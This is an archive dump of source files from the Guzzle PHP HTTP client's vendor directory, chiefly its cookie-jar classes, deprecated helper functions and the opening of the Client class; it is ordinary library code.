h�\�����8vendor/guzzlehttp/guzzle/src/Cookie/SessionCookieJar.phpnu�[���<?php

namespace GuzzleHttp\Cookie;

/**
 * Persists cookies in the client session
 */
class SessionCookieJar extends CookieJar
{
    /**
     * @var string session key
     */
    private $sessionKey;

    /**
     * @var bool Control whether to persist session cookies or not.
     */
    private $storeSessionCookies;

    /**
     * Create a new SessionCookieJar object
     *
     * @param string $sessionKey          Session key name to store the cookie
     *                                    data in session
     * @param bool   $storeSessionCookies Set to true to store session cookies
     *                                    in the cookie jar.
     */
    public function __construct(string $sessionKey, bool $storeSessionCookies = false)
    {
        parent::__construct();
        $this->sessionKey = $sessionKey;
        $this->storeSessionCookies = $storeSessionCookies;
        $this->load();
    }

    /**
     * Saves cookies to session when shutting down
     */
    public function __destruct()
    {
        $this->save();
    }

    /**
     * Save cookies to the client session
     */
    public function save(): void
    {
        $json = [];
        /** @var SetCookie $cookie */
        foreach ($this as $cookie) {
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $_SESSION[$this->sessionKey] = \json_encode($json);
    }

    /**
     * Load the contents of the client session into the data array
     */
    protected function load(): void
    {
        if (!isset($_SESSION[$this->sessionKey])) {
            return;
        }
        $data = \json_decode($_SESSION[$this->sessionKey], true);
        if (\is_array($data)) {
            foreach ($data as $cookie) {
                $this->setCookie(new SetCookie($cookie));
            }
        } elseif (\strlen($data)) {
            throw new \RuntimeException('Invalid cookie data');
        }
    }
}
PK
h�\(�>%>%1vendor/guzzlehttp/guzzle/src/Cookie/CookieJar.phpnu�[���<?php

namespace GuzzleHttp\Cookie;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Cookie jar that stores cookies as an array
 */
class CookieJar implements CookieJarInterface
{
    /**
     * @var SetCookie[] Loaded cookie data
     */
    private $cookies = [];

    /**
     * @var bool
     */
    private $strictMode;

    /**
     * @param bool  $strictMode  Set to true to throw exceptions when invalid
     *                           cookies are added to the cookie jar.
     * @param array $cookieArray Array of SetCookie objects or a hash of
     *                           arrays that can be used with the SetCookie
     *                           constructor
     */
    public function __construct(bool $strictMode = false, array $cookieArray = [])
    {
        $this->strictMode = $strictMode;

        foreach ($cookieArray as $cookie) {
            if (!($cookie instanceof SetCookie)) {
                $cookie = new SetCookie($cookie);
            }
            $this->setCookie($cookie);
        }
    }

    /**
     * Create a new Cookie jar from an associative array and domain.
     *
     * @param array  $cookies Cookies to create the jar from
     * @param string $domain  Domain to set the cookies to
     */
    public static function fromArray(array $cookies, string $domain): self
    {
        $cookieJar = new self();
        foreach ($cookies as $name => $value) {
            $cookieJar->setCookie(new SetCookie([
                'Domain' => $domain,
                'Name' => $name,
                'Value' => $value,
                'Discard' => true,
            ]));
        }

        return $cookieJar;
    }

    /**
     * Evaluate if this cookie should be persisted to storage
     * that survives between requests.
     *
     * @param SetCookie $cookie              Being evaluated.
     * @param bool      $allowSessionCookies If we should persist session cookies
     */
    public static function shouldPersist(SetCookie $cookie, bool $allowSessionCookies = false): bool
    {
        if ($cookie->getExpires() || $allowSessionCookies) {
            if (!$cookie->getDiscard()) {
                return true;
            }
        }

        return false;
    }

    /**
     * Finds and returns the cookie based on the name
     *
     * @param string $name cookie name to search for
     *
     * @return SetCookie|null cookie that was found or null if not found
     */
    public function getCookieByName(string $name): ?SetCookie
    {
        foreach ($this->cookies as $cookie) {
            if ($cookie->getName() !== null && \strcasecmp($cookie->getName(), $name) === 0) {
                return $cookie;
            }
        }

        return null;
    }

    public function toArray(): array
    {
        return \array_map(static function (SetCookie $cookie): array {
            return $cookie->toArray();
        }, $this->getIterator()->getArrayCopy());
    }

    public function clear(string $domain = null, string $path = null, string $name = null): void
    {
        if (!$domain) {
            $this->cookies = [];

            return;
        } elseif (!$path) {
            $this->cookies = \array_filter(
                $this->cookies,
                static function (SetCookie $cookie) use ($domain): bool {
                    return !$cookie->matchesDomain($domain);
                }
            );
        } elseif (!$name) {
            $this->cookies = \array_filter(
                $this->cookies,
                static function (SetCookie $cookie) use ($path, $domain): bool {
                    return !($cookie->matchesPath($path)
                        && $cookie->matchesDomain($domain));
                }
            );
        } else {
            $this->cookies = \array_filter(
                $this->cookies,
                static function (SetCookie $cookie) use ($path, $domain, $name) {
                    return !($cookie->getName() == $name
                        && $cookie->matchesPath($path)
                        && $cookie->matchesDomain($domain));
                }
            );
        }
    }

    public function clearSessionCookies(): void
    {
        $this->cookies = \array_filter(
            $this->cookies,
            static function (SetCookie $cookie): bool {
                return !$cookie->getDiscard() && $cookie->getExpires();
            }
        );
    }

    public function setCookie(SetCookie $cookie): bool
    {
        // If the name string is empty (but not 0), ignore the set-cookie
        // string entirely.
        $name = $cookie->getName();
        if (!$name && $name !== '0') {
            return false;
        }

        // Only allow cookies with set and valid domain, name, value
        $result = $cookie->validate();
        if ($result !== true) {
            if ($this->strictMode) {
                throw new \RuntimeException('Invalid cookie: '.$result);
            }
            $this->removeCookieIfEmpty($cookie);

            return false;
        }

        // Resolve conflicts with previously set cookies
        foreach ($this->cookies as $i => $c) {
            // Two cookies are identical, when their path, and domain are
            // identical.
            if ($c->getPath() != $cookie->getPath()
                || $c->getDomain() != $cookie->getDomain()
                || $c->getName() != $cookie->getName()
            ) {
                continue;
            }

            // The previously set cookie is a discard cookie and this one is
            // not so allow the new cookie to be set
            if (!$cookie->getDiscard() && $c->getDiscard()) {
                unset($this->cookies[$i]);
                continue;
            }

            // If the new cookie's expiration is further into the future, then
            // replace the old cookie
            if ($cookie->getExpires() > $c->getExpires()) {
                unset($this->cookies[$i]);
                continue;
            }

            // If the value has changed, we better change it
            if ($cookie->getValue() !== $c->getValue()) {
                unset($this->cookies[$i]);
                continue;
            }

            // The cookie exists, so no need to continue
            return false;
        }

        $this->cookies[] = $cookie;

        return true;
    }

    public function count(): int
    {
        return \count($this->cookies);
    }

    /**
     * @return \ArrayIterator<int, SetCookie>
     */
    public function getIterator(): \ArrayIterator
    {
        return new \ArrayIterator(\array_values($this->cookies));
    }

    public function extractCookies(RequestInterface $request, ResponseInterface $response): void
    {
        if ($cookieHeader = $response->getHeader('Set-Cookie')) {
            foreach ($cookieHeader as $cookie) {
                $sc = SetCookie::fromString($cookie);
                if (!$sc->getDomain()) {
                    $sc->setDomain($request->getUri()->getHost());
                }
                if (0 !== \strpos($sc->getPath(), '/')) {
                    $sc->setPath($this->getCookiePathFromRequest($request));
                }
                if (!$sc->matchesDomain($request->getUri()->getHost())) {
                    continue;
                }
                // Note: At this point `$sc->getDomain()` being a public suffix should
                // be rejected, but we don't want to pull in the full PSL dependency.
                $this->setCookie($sc);
            }
        }
    }

    /**
     * Computes cookie path following RFC 6265 section 5.1.4
     *
     * @see https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.4
     */
    private function getCookiePathFromRequest(RequestInterface $request): string
    {
        $uriPath = $request->getUri()->getPath();
        if ('' === $uriPath) {
            return '/';
        }
        if (0 !== \strpos($uriPath, '/')) {
            return '/';
        }
        if ('/' === $uriPath) {
            return '/';
        }
        $lastSlashPos = \strrpos($uriPath, '/');
        if (0 === $lastSlashPos || false === $lastSlashPos) {
            return '/';
        }

        return \substr($uriPath, 0, $lastSlashPos);
    }

    public function withCookieHeader(RequestInterface $request): RequestInterface
    {
        $values = [];
        $uri = $request->getUri();
        $scheme = $uri->getScheme();
        $host = $uri->getHost();
        $path = $uri->getPath() ?: '/';

        foreach ($this->cookies as $cookie) {
            if ($cookie->matchesPath($path)
                && $cookie->matchesDomain($host)
                && !$cookie->isExpired()
                && (!$cookie->getSecure() || $scheme === 'https')
            ) {
                $values[] = $cookie->getName().'='
                    .$cookie->getValue();
            }
        }

        return $values
            ? $request->withHeader('Cookie', \implode('; ', $values))
            : $request;
    }

    /**
     * If a cookie already exists and the server asks to set it again with a
     * null value, the cookie must be deleted.
     */
    private function removeCookieIfEmpty(SetCookie $cookie): void
    {
        $cookieValue = $cookie->getValue();
        if ($cookieValue === null || $cookieValue === '') {
            $this->clear(
                $cookie->getDomain(),
                $cookie->getPath(),
                $cookie->getName()
            );
        }
    }
}
PK
h�\_���7�71vendor/guzzlehttp/guzzle/src/Cookie/SetCookie.phpnu�[���<?php

namespace GuzzleHttp\Cookie;

/**
 * Set-Cookie object
 */
class SetCookie
{
    /**
     * @var array
     */
    private static $defaults = [
        'Name' => null,
        'Value' => null,
        'Domain' => null,
        'Path' => '/',
        'Max-Age' => null,
        'Expires' => null,
        'Secure' => false,
        'Discard' => false,
        'HttpOnly' => false,
    ];

    /**
     * @var array Cookie data
     */
    private $data;

    /**
     * Create a new SetCookie object from a string.
     *
     * @param string $cookie Set-Cookie header string
     */
    public static function fromString(string $cookie): self
    {
        // Create the default return array
        $data = self::$defaults;
        // Explode the cookie string using a series of semicolons
        $pieces = \array_filter(\array_map('trim', \explode(';', $cookie)));
        // The name of the cookie (first kvp) must exist and include an equal sign.
        if (!isset($pieces[0]) || \strpos($pieces[0], '=') === false) {
            return new self($data);
        }

        // Add the cookie pieces into the parsed data array
        foreach ($pieces as $part) {
            $cookieParts = \explode('=', $part, 2);
            $key = \trim($cookieParts[0]);
            $value = isset($cookieParts[1])
                ? \trim($cookieParts[1], " \n\r\t\0\x0B")
                : true;

            // Only check for non-cookies when cookies have been found
            if (!isset($data['Name'])) {
                $data['Name'] = $key;
                $data['Value'] = $value;
            } else {
                foreach (\array_keys(self::$defaults) as $search) {
                    if (!\strcasecmp($search, $key)) {
                        if ($search === 'Max-Age') {
                            if (is_numeric($value)) {
                                $data[$search] = (int) $value;
                            }
                        } else {
                            $data[$search] = $value;
                        }
                        continue 2;
                    }
                }
                $data[$key] = $value;
            }
        }

        return new self($data);
    }

    /**
     * @param array $data Array of cookie data provided by a Cookie parser
     */
    public function __construct(array $data = [])
    {
        $this->data = self::$defaults;

        if (isset($data['Name'])) {
            $this->setName($data['Name']);
        }

        if (isset($data['Value'])) {
            $this->setValue($data['Value']);
        }

        if (isset($data['Domain'])) {
            $this->setDomain($data['Domain']);
        }

        if (isset($data['Path'])) {
            $this->setPath($data['Path']);
        }

        if (isset($data['Max-Age'])) {
            $this->setMaxAge($data['Max-Age']);
        }

        if (isset($data['Expires'])) {
            $this->setExpires($data['Expires']);
        }

        if (isset($data['Secure'])) {
            $this->setSecure($data['Secure']);
        }

        if (isset($data['Discard'])) {
            $this->setDiscard($data['Discard']);
        }

        if (isset($data['HttpOnly'])) {
            $this->setHttpOnly($data['HttpOnly']);
        }

        // Set the remaining values that don't have extra validation logic
        foreach (array_diff(array_keys($data), array_keys(self::$defaults)) as $key) {
            $this->data[$key] = $data[$key];
        }

        // Extract the Expires value and turn it into a UNIX timestamp if needed
        if (!$this->getExpires() && $this->getMaxAge()) {
            // Calculate the Expires date
            $this->setExpires(\time() + $this->getMaxAge());
        } elseif (null !== ($expires = $this->getExpires()) && !\is_numeric($expires)) {
            $this->setExpires($expires);
        }
    }

    public function __toString()
    {
        $str = $this->data['Name'].'='.($this->data['Value'] ?? '').'; ';
        foreach ($this->data as $k => $v) {
            if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== false) {
                if ($k === 'Expires') {
                    $str .= 'Expires='.\gmdate('D, d M Y H:i:s \G\M\T', $v).'; ';
                } else {
                    $str .= ($v === true ? $k : "{$k}={$v}").'; ';
                }
            }
        }

        return \rtrim($str, '; ');
    }

    public function toArray(): array
    {
        return $this->data;
    }

    /**
     * Get the cookie name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->data['Name'];
    }

    /**
     * Set the cookie name.
     *
     * @param string $name Cookie name
     */
    public function setName($name): void
    {
        if (!is_string($name)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Name'] = (string) $name;
    }

    /**
     * Get the cookie value.
     *
     * @return string|null
     */
    public function getValue()
    {
        return $this->data['Value'];
    }

    /**
     * Set the cookie value.
     *
     * @param string $value Cookie value
     */
    public function setValue($value): void
    {
        if (!is_string($value)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Value'] = (string) $value;
    }

    /**
     * Get the domain.
     *
     * @return string|null
     */
    public function getDomain()
    {
        return $this->data['Domain'];
    }

    /**
     * Set the domain of the cookie.
     *
     * @param string|null $domain
     */
    public function setDomain($domain): void
    {
        if (!is_string($domain) && null !== $domain) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Domain'] = null === $domain ? null : (string) $domain;
    }

    /**
     * Get the path.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->data['Path'];
    }

    /**
     * Set the path of the cookie.
     *
     * @param string $path Path of the cookie
     */
    public function setPath($path): void
    {
        if (!is_string($path)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Path'] = (string) $path;
    }

    /**
     * Maximum lifetime of the cookie in seconds.
     *
     * @return int|null
     */
    public function getMaxAge()
    {
        return null === $this->data['Max-Age'] ? null : (int) $this->data['Max-Age'];
    }

    /**
     * Set the max-age of the cookie.
     *
     * @param int|null $maxAge Max age of the cookie in seconds
     */
    public function setMaxAge($maxAge): void
    {
        if (!is_int($maxAge) && null !== $maxAge) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an int or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Max-Age'] = $maxAge === null ? null : (int) $maxAge;
    }

    /**
     * The UNIX timestamp when the cookie Expires.
     *
     * @return string|int|null
     */
    public function getExpires()
    {
        return $this->data['Expires'];
    }

    /**
     * Set the unix timestamp for which the cookie will expire.
     *
     * @param int|string|null $timestamp Unix timestamp or any English textual datetime description.
     */
    public function setExpires($timestamp): void
    {
        if (!is_int($timestamp) && !is_string($timestamp) && null !== $timestamp) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an int, string or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Expires'] = null === $timestamp ? null : (\is_numeric($timestamp) ? (int) $timestamp : \strtotime((string) $timestamp));
    }

    /**
     * Get whether or not this is a secure cookie.
     *
     * @return bool
     */
    public function getSecure()
    {
        return $this->data['Secure'];
    }

    /**
     * Set whether or not the cookie is secure.
     *
     * @param bool $secure Set to true or false if secure
     */
    public function setSecure($secure): void
    {
        if (!is_bool($secure)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Secure'] = (bool) $secure;
    }

    /**
     * Get whether or not this is a session cookie.
     *
     * @return bool|null
     */
    public function getDiscard()
    {
        return $this->data['Discard'];
    }

    /**
     * Set whether or not this is a session cookie.
     *
     * @param bool $discard Set to true or false if this is a session cookie
     */
    public function setDiscard($discard): void
    {
        if (!is_bool($discard)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['Discard'] = (bool) $discard;
    }

    /**
     * Get whether or not this is an HTTP only cookie.
     *
     * @return bool
     */
    public function getHttpOnly()
    {
        return $this->data['HttpOnly'];
    }

    /**
     * Set whether or not this is an HTTP only cookie.
     *
     * @param bool $httpOnly Set to true or false if this is HTTP only
     */
    public function setHttpOnly($httpOnly): void
    {
        if (!is_bool($httpOnly)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->data['HttpOnly'] = (bool) $httpOnly;
    }

    /**
     * Check if the cookie matches a path value.
     *
     * A request-path path-matches a given cookie-path if at least one of
     * the following conditions holds:
     *
     * - The cookie-path and the request-path are identical.
     * - The cookie-path is a prefix of the request-path, and the last
     *   character of the cookie-path is %x2F ("/").
     * - The cookie-path is a prefix of the request-path, and the first
     *   character of the request-path that is not included in the cookie-
     *   path is a %x2F ("/") character.
     *
     * @param string $requestPath Path to check against
     */
    public function matchesPath(string $requestPath): bool
    {
        $cookiePath = $this->getPath();

        // Match on exact matches or when path is the default empty "/"
        if ($cookiePath === '/' || $cookiePath == $requestPath) {
            return true;
        }

        // Ensure that the cookie-path is a prefix of the request path.
        if (0 !== \strpos($requestPath, $cookiePath)) {
            return false;
        }

        // Match if the last character of the cookie-path is "/"
        if (\substr($cookiePath, -1, 1) === '/') {
            return true;
        }

        // Match if the first character not included in cookie path is "/"
        return \substr($requestPath, \strlen($cookiePath), 1) === '/';
    }

    /**
     * Check if the cookie matches a domain value.
     *
     * @param string $domain Domain to check against
     */
    public function matchesDomain(string $domain): bool
    {
        $cookieDomain = $this->getDomain();
        if (null === $cookieDomain) {
            return true;
        }

        // Remove the leading '.' as per spec in RFC 6265.
        // https://datatracker.ietf.org/doc/html/rfc6265#section-5.2.3
        $cookieDomain = \ltrim(\strtolower($cookieDomain), '.');

        $domain = \strtolower($domain);

        // Domain not set or exact match.
        if ('' === $cookieDomain || $domain === $cookieDomain) {
            return true;
        }

        // Matching the subdomain according to RFC 6265.
        // https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3
        if (\filter_var($domain, \FILTER_VALIDATE_IP)) {
            return false;
        }

        return (bool) \preg_match('/\.'.\preg_quote($cookieDomain, '/').'$/', $domain);
    }

    /**
     * Check if the cookie is expired.
     */
    public function isExpired(): bool
    {
        return $this->getExpires() !== null && \time() > $this->getExpires();
    }

    /**
     * Check if the cookie is valid according to RFC 6265.
     *
     * @return bool|string Returns true if valid or an error message if invalid
     */
    public function validate()
    {
        $name = $this->getName();
        if ($name === '') {
            return 'The cookie name must not be empty';
        }

        // Check if any of the invalid characters are present in the cookie name
        if (\preg_match(
            '/[\x00-\x20\x22\x28-\x29\x2c\x2f\x3a-\x40\x5c\x7b\x7d\x7f]/',
            $name
        )) {
            return 'Cookie name must not contain invalid characters: ASCII '
                .'Control characters (0-31;127), space, tab and the '
                .'following characters: ()<>@,;:\"/?={}';
        }

        // Value must not be null. 0 and empty string are valid. Empty strings
        // are technically against RFC 6265, but known to happen in the wild.
        $value = $this->getValue();
        if ($value === null) {
            return 'The cookie value must not be empty';
        }

        // Domains must not be empty, but can be 0. "0" is not a valid internet
        // domain, but may be used as server name in a private network.
        $domain = $this->getDomain();
        if ($domain === null || $domain === '') {
            return 'The cookie domain must not be empty';
        }

        return true;
    }
}
PK
h�\��Y�
�
5vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.phpnu�[���<?php

namespace GuzzleHttp\Cookie;

use GuzzleHttp\Utils;

/**
 * Persists non-session cookies using a JSON formatted file
 */
class FileCookieJar extends CookieJar
{
    /**
     * @var string filename
     */
    private $filename;

    /**
     * @var bool Control whether to persist session cookies or not.
     */
    private $storeSessionCookies;

    /**
     * Create a new FileCookieJar object
     *
     * @param string $cookieFile          File to store the cookie data
     * @param bool   $storeSessionCookies Set to true to store session cookies
     *                                    in the cookie jar.
     *
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function __construct(string $cookieFile, bool $storeSessionCookies = false)
    {
        parent::__construct();
        $this->filename = $cookieFile;
        $this->storeSessionCookies = $storeSessionCookies;

        if (\file_exists($cookieFile)) {
            $this->load($cookieFile);
        }
    }

    /**
     * Saves the file when shutting down
     */
    public function __destruct()
    {
        $this->save($this->filename);
    }

    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     *
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save(string $filename): void
    {
        $json = [];
        /** @var SetCookie $cookie */
        foreach ($this as $cookie) {
            if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }

        $jsonStr = Utils::jsonEncode($json);
        if (false === \file_put_contents($filename, $jsonStr, \LOCK_EX)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }

    /**
     * Load cookies from a JSON formatted file.
     *
     * Old cookies are kept unless overwritten by newly loaded ones.
     *
     * @param string $filename Cookie file to load.
     *
     * @throws \RuntimeException if the file cannot be loaded.
     */
    public function load(string $filename): void
    {
        $json = \file_get_contents($filename);
        if (false === $json) {
            throw new \RuntimeException("Unable to load file {$filename}");
        }
        if ($json === '') {
            return;
        }

        $data = Utils::jsonDecode($json, true);
        if (\is_array($data)) {
            foreach ($data as $cookie) {
                $this->setCookie(new SetCookie($cookie));
            }
        } elseif (\is_scalar($data) && !empty($data)) {
            throw new \RuntimeException("Invalid cookie file: {$filename}");
        }
    }
}
PK
h�\U��

:vendor/guzzlehttp/guzzle/src/Cookie/CookieJarInterface.phpnu�[���<?php

namespace GuzzleHttp\Cookie;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Stores HTTP cookies.
 *
 * It extracts cookies from HTTP requests, and returns them in HTTP responses.
 * CookieJarInterface instances automatically expire contained cookies when
 * necessary. Subclasses are also responsible for storing and retrieving
 * cookies from a file, database, etc.
 *
 * @see https://docs.python.org/2/library/cookielib.html Inspiration
 *
 * @extends \IteratorAggregate<SetCookie>
 */
interface CookieJarInterface extends \Countable, \IteratorAggregate
{
    /**
     * Create a request with added cookie headers.
     *
     * If no matching cookies are found in the cookie jar, then no Cookie
     * header is added to the request and the same request is returned.
     *
     * @param RequestInterface $request Request object to modify.
     *
     * @return RequestInterface returns the modified request.
     */
    public function withCookieHeader(RequestInterface $request): RequestInterface;

    /**
     * Extract cookies from an HTTP response and store them in the CookieJar.
     *
     * @param RequestInterface  $request  Request that was sent
     * @param ResponseInterface $response Response that was received
     */
    public function extractCookies(RequestInterface $request, ResponseInterface $response): void;

    /**
     * Sets a cookie in the cookie jar.
     *
     * @param SetCookie $cookie Cookie to set.
     *
     * @return bool Returns true on success or false on failure
     */
    public function setCookie(SetCookie $cookie): bool;

    /**
     * Remove cookies currently held in the cookie jar.
     *
     * Invoking this method without arguments will empty the whole cookie jar.
     * If given a $domain argument only cookies belonging to that domain will
     * be removed. If given a $domain and $path argument, cookies belonging to
     * the specified path within that domain are removed. If given all three
     * arguments, then the cookie with the specified name, path and domain is
     * removed.
     *
     * @param string|null $domain Clears cookies matching a domain
     * @param string|null $path   Clears cookies matching a domain and path
     * @param string|null $name   Clears cookies matching a domain, path, and name
     */
    public function clear(string $domain = null, string $path = null, string $name = null): void;

    /**
     * Discard all sessions cookies.
     *
     * Removes cookies that don't have an expire field or a have a discard
     * field set to true. To be called when the user agent shuts down according
     * to RFC 2965.
     */
    public function clearSessionCookies(): void;

    /**
     * Converts the cookie jar to an array.
     */
    public function toArray(): array;
}
PK
h�\��.88*vendor/guzzlehttp/guzzle/src/functions.phpnu�[���<?php

namespace GuzzleHttp;

/**
 * Debug function used to describe the provided value type and class.
 *
 * @param mixed $input Any type of variable to describe the type of. This
 *                     parameter misses a typehint because of that.
 *
 * @return string Returns a string containing the type of the variable and
 *                if a class is provided, the class name.
 *
 * @deprecated describe_type will be removed in guzzlehttp/guzzle:8.0. Use Utils::describeType instead.
 */
function describe_type($input): string
{
    return Utils::describeType($input);
}

/**
 * Parses an array of header lines into an associative array of headers.
 *
 * @param iterable $lines Header lines array of strings in the following
 *                        format: "Name: Value"
 *
 * @deprecated headers_from_lines will be removed in guzzlehttp/guzzle:8.0. Use Utils::headersFromLines instead.
 */
function headers_from_lines(iterable $lines): array
{
    return Utils::headersFromLines($lines);
}

/**
 * Returns a debug stream based on the provided variable.
 *
 * @param mixed $value Optional value
 *
 * @return resource
 *
 * @deprecated debug_resource will be removed in guzzlehttp/guzzle:8.0. Use Utils::debugResource instead.
 */
function debug_resource($value = null)
{
    return Utils::debugResource($value);
}

/**
 * Chooses and creates a default handler to use based on the environment.
 *
 * The returned handler is not wrapped by any default middlewares.
 *
 * @return callable(\Psr\Http\Message\RequestInterface, array): \GuzzleHttp\Promise\PromiseInterface Returns the best handler for the given system.
 *
 * @throws \RuntimeException if no viable Handler is available.
 *
 * @deprecated choose_handler will be removed in guzzlehttp/guzzle:8.0. Use Utils::chooseHandler instead.
 */
function choose_handler(): callable
{
    return Utils::chooseHandler();
}

/**
 * Get the default User-Agent string to use with Guzzle.
 *
 * @deprecated default_user_agent will be removed in guzzlehttp/guzzle:8.0. Use Utils::defaultUserAgent instead.
 */
function default_user_agent(): string
{
    return Utils::defaultUserAgent();
}

/**
 * Returns the default cacert bundle for the current system.
 *
 * First, the openssl.cafile and curl.cainfo php.ini settings are checked.
 * If those settings are not configured, then the common locations for
 * bundles found on Red Hat, CentOS, Fedora, Ubuntu, Debian, FreeBSD, OS X
 * and Windows are checked. If any of these file locations are found on
 * disk, they will be utilized.
 *
 * Note: the result of this function is cached for subsequent calls.
 *
 * @throws \RuntimeException if no bundle can be found.
 *
 * @deprecated default_ca_bundle will be removed in guzzlehttp/guzzle:8.0. This function is not needed in PHP 5.6+.
 */
function default_ca_bundle(): string
{
    return Utils::defaultCaBundle();
}

/**
 * Creates an associative array of lowercase header names to the actual
 * header casing.
 *
 * @deprecated normalize_header_keys will be removed in guzzlehttp/guzzle:8.0. Use Utils::normalizeHeaderKeys instead.
 */
function normalize_header_keys(array $headers): array
{
    return Utils::normalizeHeaderKeys($headers);
}

/**
 * Returns true if the provided host matches any of the no proxy areas.
 *
 * This method will strip a port from the host if it is present. Each pattern
 * can be matched with an exact match (e.g., "foo.com" == "foo.com") or a
 * partial match: (e.g., "foo.com" == "baz.foo.com" and ".foo.com" ==
 * "baz.foo.com", but ".foo.com" != "foo.com").
 *
 * Areas are matched in the following cases:
 * 1. "*" (without quotes) always matches any hosts.
 * 2. An exact match.
 * 3. The area starts with "." and the area is the last part of the host. e.g.
 *    '.mit.edu' will match any host that ends with '.mit.edu'.
 *
 * @param string   $host         Host to check against the patterns.
 * @param string[] $noProxyArray An array of host patterns.
 *
 * @throws Exception\InvalidArgumentException
 *
 * @deprecated is_host_in_noproxy will be removed in guzzlehttp/guzzle:8.0. Use Utils::isHostInNoProxy instead.
 */
function is_host_in_noproxy(string $host, array $noProxyArray): bool
{
    return Utils::isHostInNoProxy($host, $noProxyArray);
}

/**
 * Wrapper for json_decode that throws when an error occurs.
 *
 * @param string $json    JSON data to parse
 * @param bool   $assoc   When true, returned objects will be converted
 *                        into associative arrays.
 * @param int    $depth   User specified recursion depth.
 * @param int    $options Bitmask of JSON decode options.
 *
 * @return object|array|string|int|float|bool|null
 *
 * @throws Exception\InvalidArgumentException if the JSON cannot be decoded.
 *
 * @see https://www.php.net/manual/en/function.json-decode.php
 * @deprecated json_decode will be removed in guzzlehttp/guzzle:8.0. Use Utils::jsonDecode instead.
 */
function json_decode(string $json, bool $assoc = false, int $depth = 512, int $options = 0)
{
    return Utils::jsonDecode($json, $assoc, $depth, $options);
}

/**
 * Wrapper for JSON encoding that throws when an error occurs.
 *
 * @param mixed $value   The value being encoded
 * @param int   $options JSON encode option bitmask
 * @param int   $depth   Set the maximum depth. Must be greater than zero.
 *
 * @throws Exception\InvalidArgumentException if the JSON cannot be encoded.
 *
 * @see https://www.php.net/manual/en/function.json-encode.php
 * @deprecated json_encode will be removed in guzzlehttp/guzzle:8.0. Use Utils::jsonEncode instead.
 */
function json_encode($value, int $options = 0, int $depth = 512): string
{
    return Utils::jsonEncode($value, $options, $depth);
}
PK
h�\����HH'vendor/guzzlehttp/guzzle/src/Client.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Cookie\CookieJar;
use GuzzleHttp\Exception\GuzzleException;
use GuzzleHttp\Exception\InvalidArgumentException;
use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * @final
 */
class Client implements ClientInterface, \Psr\Http\Client\ClientInterface
{
    use ClientTrait;

    /**
     * @var array Default request options
     */
    private $config;

    /**
     * Clients accept an array of constructor parameters.
     *
     * Here's an example of creating a client using a base_uri and an array of
     * default request options to apply to each request:
     *
     *     $client = new Client([
     *         'base_uri'        => 'http://www.foo.com/1.0/',
     *         'timeout'         => 0,
     *         'allow_redirects' => false,
     *         'proxy'           => '192.168.16.1:10'
     *     ]);
     *
     * Client configuration settings include the following options:
     *
     * - handler: (callable) Function that transfers HTTP requests over the
     *   wire. The function is called with a Psr7\Http\Message\RequestInterface
     *   and array of transfer options, and must return a
     *   GuzzleHttp\Promise\PromiseInterface that is fulfilled with a
     *   Psr7\Http\Message\ResponseInterface on success.
     *   If no handler is provided, a default handler will be created
     *   that enables all of the request options below by attaching all of the
     *   default middleware to the handler.
     * - base_uri: (string|UriInterface) Base URI of the client that is merged
     *   into relative URIs. Can be a string or instance of UriInterface.
     * - **: any request option
     *
     * @param array $config Client configuration settings.
     *
     * @see \GuzzleHttp\RequestOptions for a list of available request options.
     */
    public function __construct(array $config = [])
    {
        if (!isset($config['handler'])) {
            $config['handler'] = HandlerStack::create();
        } elseif (!\is_callable($config['handler'])) {
            throw new InvalidArgumentException('handler must be a callable');
        }

        // Convert the base_uri to a UriInterface
        if (isset($config['base_uri'])) {
            $config['base_uri'] = Psr7\Utils::uriFor($config['base_uri']);
        }

        $this->configureDefaults($config);
    }

    /**
     * @param string $method
     * @param array  $args
     *
     * @return PromiseInterface|ResponseInterface
     *
     * @deprecated Client::__call will be removed in guzzlehttp/guzzle:8.0.
     */
    public function __call($method, $args)
    {
